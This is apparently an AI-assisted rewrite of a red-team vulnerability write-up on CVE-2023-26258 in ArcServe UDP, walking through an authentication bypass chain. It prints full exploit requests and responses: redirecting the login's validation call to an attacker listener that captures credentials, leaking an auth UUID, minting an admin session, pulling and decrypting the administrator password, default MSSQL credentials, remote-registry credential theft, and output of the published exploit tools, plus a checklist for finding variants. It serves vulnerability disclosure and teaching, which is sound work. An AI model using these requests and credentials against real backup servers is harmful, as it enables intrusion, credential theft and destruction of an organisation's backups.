select ipaddress,rhostname,osdesc from as_edge_host;

With local admin rights on the ArcServe server, the registry values can be read remotely:

Text
psyconauta@insulanova:/tmp|⇒  python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d [redacted] -target-ip [redacted]
		-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to [redacted]
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to [redacted]
[+] Opening registry key
	[*] User: P3TWLADS11STD\\vagrant
	[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service

Have a nice day! ^_^

On an unpatched instance, the whole chain can be run in one go:

Text
psyconauta@insulanova:/tmp|⇒  python3 exploit.py [redacted]
		-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Triggering info leak
	[+] AdminName: SEVENKINGDOMS\\vagrant
	[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
	[+] Session: AGENTJSESSIONID=[redacted]
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
	[+] Admin: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter

Have a happy hacking! ^_^

The tools are published on the MDSec GitHub repository for CVE-2023-26258.

Fix

ArcServe released a patch on 27/06/2023, after a hotfix was prepared on 21/06/2023. The report does not describe what the patch changed.

Variants to test

  1. Look for GWT RPC login endpoints whose serialised body carries a host, protocol or port, and edit those values to point at a listener you control. A positive result is a SOAP or HTTP request arriving at your listener with credentials or other data from the target.
  2. Call unauthenticated SOAP methods such as getVersionInfo on the same service and check whether the response leaks hostnames, OS versions, account names or UUIDs. A positive result is any of those values in the response.
  3. Take any UUID returned by an information-leak method and submit it to a validateUserByUUID-style method. A positive result is a Set-Cookie with a session identifier.
  4. With a session, call methods such as getLocalHostAsTrust and check whether encrypted secrets are returned. A positive result is a password field in the response.
  5. Reverse the decryption routine for any returned secret and check whether the key is derived from a constant string. A positive result is a decrypted plaintext from the fixed seed.
  6. Send a broadcast to UDP 1434 with the ARCSERVE_APP instance name and check for replies. A positive result is a ServerName;...;InstanceName;ARCSERVE_APP;... string with a TCP port.
  7. Try the default MSSQL credentials arcserve_udp / @rcserveP@ssw0rd against the port from the reply and query as_edge_connect_info and as_edge_host. A positive result is credential rows or host rows.
  8. With local admin rights, read AdminUser and AdminPassword under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine through the Remote Registry service. A positive result is the encrypted password value.
From the original on mdsec.co.uk

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 36 min read.

What happened, in plain words

ArcServe UDP is a product that companies use to make backup copies of their computers and servers. Backups are the safety net that lets an organisation recover after an accident or an attack, so the software that runs them is a very attractive target: if an attacker can control the backup system, they can also delete the backups and make recovery impossible.

During a ransomware exercise, the MDSec ActiveBreach red team was asked to compromise an organisation's backup infrastructure. Juan Manuel Fernandez and Sean Doherty looked at the software used for those backups, ArcServe UDP, and within minutes of reading its code they found a serious flaw: a way to get into the administration interface without knowing any password. This kind of flaw is called an authentication bypass: the system is supposed to check who you are before letting you in, and the check can be skipped.

The flaw affects versions 7.0 to 9.0. To understand it you need one idea: the web page you see in the browser (the administration interface) is only the front desk. Behind it there is a second program, a WebService, that does the real work, in this case checking whether a username and password are correct. The front desk decides where to send that check. The bug is that it takes the address of that second program from data the browser sends, so an attacker who can edit the request can tell the front desk to send the check somewhere else, to a server the attacker controls.

The pieces involved

A few names appear throughout, so here they are first.

  • GWT (Google Web Toolkit) is a way of building web applications where the browser and the server exchange messages in a compact, serialised format instead of plain form fields. The login page of ArcServe is built this way, and the messages travel over GWT RPC, the protocol those messages use.
  • SOAP is a standard format for sending structured requests between programs, written in XML (a text format made of tags in angle brackets, like <name>value</name>). The backend WebService speaks SOAP.
  • A cookie is a small piece of text that a website asks your browser to keep and send back with every later request, so the site can remember that you already logged in. A session cookie is exactly that: proof that you have a logged-in session.
  • A UUID is a long random-looking identifier, written with dashes, such as 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1. It is meant to be unique and hard to guess.
  • HTTP and HTTPS are the protocols browsers use to talk to websites; HTTPS is the encrypted version. The word schema in this report means which of the two is used.
  • A port is a numbered door on a computer. One machine can run many services, each listening on its own port; 8014 is the door the ArcServe web interface uses here.
  • Base64 is a way of writing binary data (bytes) as plain text characters, so it can travel inside text documents.
  • AES-256 is a widely used encryption method. MD5 is a hashing function: it turns any input into a fixed-length fingerprint, and the same input always gives the same fingerprint.
  • Reverse engineering means taking a compiled program and working backwards to understand what it does, often by reading its instructions in a tool that shows them as text.
  • A red team is a group of security professionals hired to attack an organisation on purpose, with permission, to test how well it would resist a real attacker.

The ArcServe instance was reachable at [redacted]:8014 over HTTPS, and a second address, [redacted]:8014, was used to send SOAP requests directly. The account used throughout is vagrant in the domain SEVENKINGDOMS, with the password adepts. The relevant code lives in flash-webui.jar on the web front end, in edge-app-base-webservice-impl.jar for the decryption helper, and in AFCoreFunction.dll for the native decryption routine. A .jar file is a package of compiled Java code; a .dll is a compiled Windows library.

No special access is needed to reach the login page. That is the whole point of the finding: the vulnerable endpoint answers before anyone has logged in.

Finding it

Watching the login

The first step was simply to watch the traffic between the browser and the administration interface while logging in. Tools called intercepting proxies sit between the browser and the server and let you read, pause and edit every request. One request stood out: a GWT RPC call to a method called validateUser, whose body is a serialised object carrying, among other things, the protocol, the server hostname, the domain, the username and the password.

HTTP
POST /contents/service/login HTTP/1.1
Host: [redacted]:8014
Cookie: AGENTJSESSIONID=[redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: [redacted]
X-Gwt-Module-Base: <https://[redacted]:8014/contents/>
Content-Length: 245
Origin: <https://[redacted]:8014>
Referer: <https://[redacted]:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|

Line by line:

  • POST /contents/service/login HTTP/1.1 is the request line: the browser is sending data (POST) to the login service, using version 1.1 of HTTP.
  • Host: [redacted]:8014 says which machine and port the request is addressed to.
  • Cookie: AGENTJSESSIONID=... is the session cookie the browser already holds. AGENTJSESSIONID is the name ArcServe gives its session cookie.
  • User-Agent, Accept, Accept-Language, Accept-Encoding describe the browser and what it can handle. They are ordinary browser headers.
  • Content-Type: text/x-gwt-rpc; charset=utf-8 tells the server the body is a GWT RPC message.
  • X-Gwt-Permutation and X-Gwt-Module-Base are GWT-specific headers that identify the compiled version of the application and where it lives.
  • Content-Length: 245 is the size of the body in bytes.
  • Origin, Referer, Sec-Fetch-* are headers browsers add to describe where a request came from. They are not the vulnerability.
  • Te and Connection are connection-level headers.
  • The blank line separates headers from the body.
  • The body is the serialised object. The values are separated by | characters. Reading it left to right: https: is the schema, EPIPELAGIC the server hostname, SEVENKINGDOMS the domain, vagrant the username and adepts the password. The numbers and the long hex string are GWT bookkeeping: type identifiers, a module hash and argument positions. You do not need to decode them to follow the attack.

Reading the server code

The next step was to find the server-side implementation of validateUser in flash-webui.jar, to see what the server does with those values:

Java
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
    if (StringUtil.isEmptyOrNull(username))
      throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
    if (StringUtil.isEmptyOrNull(password))
      throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
    HttpSession session = req.getSession();
    WebServiceClientProxy client = null;
    LoginDetail detail = null;
    try {
      logger.debug(protocol + host + port);
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(req, client);
      detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user...");
      logger.error(exception.getMessage());
      if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
        throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
      proccessAxisFaultException(exception);
    }
    HostInfo hostInfo = new HostInfo();
    hostInfo.setName(host);
    hostInfo.setUsername(username);
    session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
    session.setAttribute(SessionConstants.SRING_USERNAME, username);
    session.setAttribute(SessionConstants.SRING_PASSWORD, password);
    session.setAttribute(SessionConstants.SRING_UUID, "");
    session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
    return Boolean.TRUE;
  }

In plain words:

  • The method receives the protocol, host, port, domain, username and password as separate arguments. They came from the request body.
  • The two if checks reject an empty username or password. They are the only input checks.
  • req.getSession() gets or creates the user's session, the server-side memory tied to the session cookie.
  • ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5") builds a client, a proxy object that will talk to a WebService. Crucially, the address it will talk to is built from protocol, host and port, the values the browser supplied.
  • client.getService().validateUserWithDetail(username, password, domain, logindetail) sends the credentials to that WebService for checking.
  • The catch block handles errors from that call and translates them into application error codes.
  • The session.setAttribute(...) lines store the domain, username, password and other details in the session.
  • return Boolean.TRUE reports success.

That is the flaw in one sentence: a value the user controls decides where the server sends its validation request. Nothing ties the host, protocol or port to the server's own configuration.

Exploitation

Step 1: point the validation client at a host you control

If the request is intercepted and edited in transit, the serialised object can be changed so that the client contacts an HTTP server under the attacker's control. In the example, the host EPIPELAGIC is replaced with [redacted], the schema is switched to http: and the port becomes 7777:

Text
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|[redacted]|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|

Compared with the original body, three things changed: https: became http:, EPIPELAGIC became [redacted], and the port value became 7777. The username and password fields are still there, but they no longer matter for the trick: the goal is to see where the server sends them.

A minimal HTTP server is started on that port to log whatever arrives:

Text
psyconauta@insulanova:/tmp|⇒  python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -

What this shows:

  • The first line is the command that starts the logger on port 7777.
  • The first XML block is a SOAP request for validateUser, with three arguments: vagrant, vagrant and SEVENKINGDOMS. The server sent the credentials to the attacker's machine.
  • The line [redacted] - - [...] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 - is the logger recording that the ArcServe server itself made that request, and that the logger answered with status 200.
  • The second XML block is a second SOAP request, this time for getVersionInfo, asking for additional information. The server made it on its own, right after the first.
  • The xmlns:... attributes are XML namespace declarations. They look noisy but they only say which vocabulary each tag belongs to.

So the server makes two SOAP requests to /WebServiceImpl/services/FlashServiceImpl: the first is validateUser, carrying the credentials, and the second is getVersionInfo, asking for extra information.

Step 2: query the real WebService without authentication

The getVersionInfo request can be copied and sent manually to the original WebService:

HTTP
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: [redacted]:8014
Content-Length: 887

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>

This is the same getVersionInfo message the server sent to the logger, now sent by hand to the real machine on [redacted]:8014. There is no cookie and no login: the point is to check whether the WebService answers without authentication.

The response leaks a lot of information without any authentication:

HTTP
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.[redacted]</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.[redacted]:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>

What the response gives away, without any login:

  • The status line HTTP/1.1 200 means success, and Server: Apache names the web server software.
  • majorVersion 9, minorVersion 0 and buildNumber 6034 identify the ArcServe version.
  • adminName is the administrator account, SEVENKINGDOMS\\vagrant.
  • edgeHostName and edgeUrl reveal another host and management address.
  • osName, osMajorVersion, osMinorVersion and osBuildNumber describe the operating system: Windows Server 2019, build 17763.
  • hostName is the machine name, kingslanding.
  • nodeUUID and authUUID are two identifiers. The second one is the value that matters next.

Step 3: use the UUID to obtain a session

Back in flash-webui.jar, below validateUser, there is another method, validateUserByUuid:

Java
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUserByUuid(String, String, int, String) - start");
    if (StringUtil.isEmptyOrNull(uuid))
      throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
    WebServiceClientProxy client = null;
    try {
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(req, client);
      client.getService().validateUserByUUID(uuid);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user by uuid...");
      logger.error(exception.getMessage());
      proccessAxisFaultException(exception, false);
    }
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
    logger.debug("validateUserByUuid(String, String, int, String) - end");
    return Boolean.TRUE;
  }

In plain words:

  • This method takes a uuid instead of a username and password. If the UUID is empty, it throws an error.
  • It builds the same kind of proxy client as before, again from protocol, host and port.
  • It calls validateUserByUUID(uuid) on the WebService, passing only the UUID.
  • It then stores the UUID in the session and returns Boolean.TRUE.

Grepping for the method name shows it is exposed by a WebService described in VirtualStandbyServiceImpl.wsdl, and that it takes a single argument:

XML
     <xs:complexType name="validateUserByUUID">
        <xs:sequence>
          <xs:element name="arg0" type="xs:string" minOccurs="0"/>
        </xs:sequence>
      </xs:complexType>

A .wsdl file is a description of a WebService: it lists the operations and the shape of their arguments. This fragment says the operation validateUserByUUID takes one optional string argument called arg0. In other words, the only thing needed to call it is a UUID.

Sending the authUUID from the version response as that argument:

HTTP
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: [redacted]:8014
Content-Length: 964

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
  • The request goes to a different service path, /WebServiceImpl/services/VirtualStandbyServiceImpl.
  • The SOAPAction header names the operation being invoked.
  • The body contains <arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0>, the authUUID copied from the previous response.

It returns a session cookie:

HTTP
HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=[redacted]; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>

The important line is Set-Cookie: AGENTJSESSIONID=.... Set-Cookie is how a server hands a cookie to a client. Path=/WebServiceImpl limits where the cookie is sent, Secure means it is only sent over HTTPS, and HttpOnly means browser scripts cannot read it. The body simply returns 0, which is the success value. From here on, the attacker holds a valid administrator session without ever knowing a password.

Step 4: retrieve the administrator password

With a valid administrator session, the WebService can be used to retrieve the administrator password. ArcServe provides a method called getLocalHostAsTrust that returns the encrypted password:

HTTP
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=[redacted]
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: [redacted]:8014
Content-Length: 917

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
  • The Cookie header carries the session obtained in the previous step. This is what makes the request authenticated.
  • The body invokes getLocalHostAsTrust with no arguments.

The response contains the account name and the encrypted password:

HTTP
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>[redacted]/[redacted]</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>[redacted]</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope>
  • name is the machine name, KINGSLANDING.
  • userName is vagrant.
  • password is the encrypted password, written in base64. It is not plain text yet.
  • uuid is another encrypted-looking value, and d2dVersion is 9.

Step 5: decrypt the password

To work out how the password is encrypted, the researchers looked at edge-app-base-webservice-impl.jar, which contains a class called XmlDecrypter:

Java
package com.ca.arcserve.edge.app.base.common;

import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;

public class XmlDecrypter extends BaseXmlCrypt {
  public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });

  public XmlDecrypter(String[] matchTag) {
    super(matchTag);
  }

  protected String doEncrypt(String s) {
    return WSJNI.AFDecryptStringEx(s);
  }

  public String decryptXml_NoException(String xml) {
    return analyzeXml_NoException(xml);
  }

  public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
    return analyzeXml(xml);
  }
}

In plain words:

  • The class is called XmlDecrypter and extends BaseXmlCrypt, a base class that handles walking through XML.
  • CommonDecrypter is a ready-made instance configured with a list of tag names to look for: uuid, anything matching .*password, encryptionkey, access_token, client_secret and token_cache. In other words, it knows which fields in an XML document hold secrets.
  • doEncrypt (despite the name) calls WSJNI.AFDecryptStringEx(s), a function implemented in native code outside Java.
  • decryptXml and decryptXml_NoException run the base class analysis on an XML string.

doEncrypt calls a native function from WSJNI. Searching further, AFCoreFunction.dll contains a function called AFDecryptFromString with the following code inside (some parts were renamed during the reverse engineering process):

Text
1800dd8ac              CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf              int32_t var_48_2 = 0x18;
1800dd8c6              int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec              if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9              {
1800dd8f2                  arg_10 = r14_1;
1800dd8f2              }
1800ddb3f              CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b              rbx_1 = 0xa;
1800ddb77              void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b              sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c          }

This is a fragment of disassembly: the numbers on the left are memory addresses, the text on the right is the instruction. You do not need to read it all. The useful parts are:

  • CryptDecrypt_trucho = &CryptDecrypt_m points to the Windows function that performs decryption.
  • The comment //AES-256 on 0x6610 records that the algorithm is AES-256.
  • mandanga_buena is a function the researchers renamed; it is called before decrypting.
  • The string AFSrvConfig::SaveAdminAccount and the message Encrypt password failed show this code belongs to the routine that saves the administrator account.

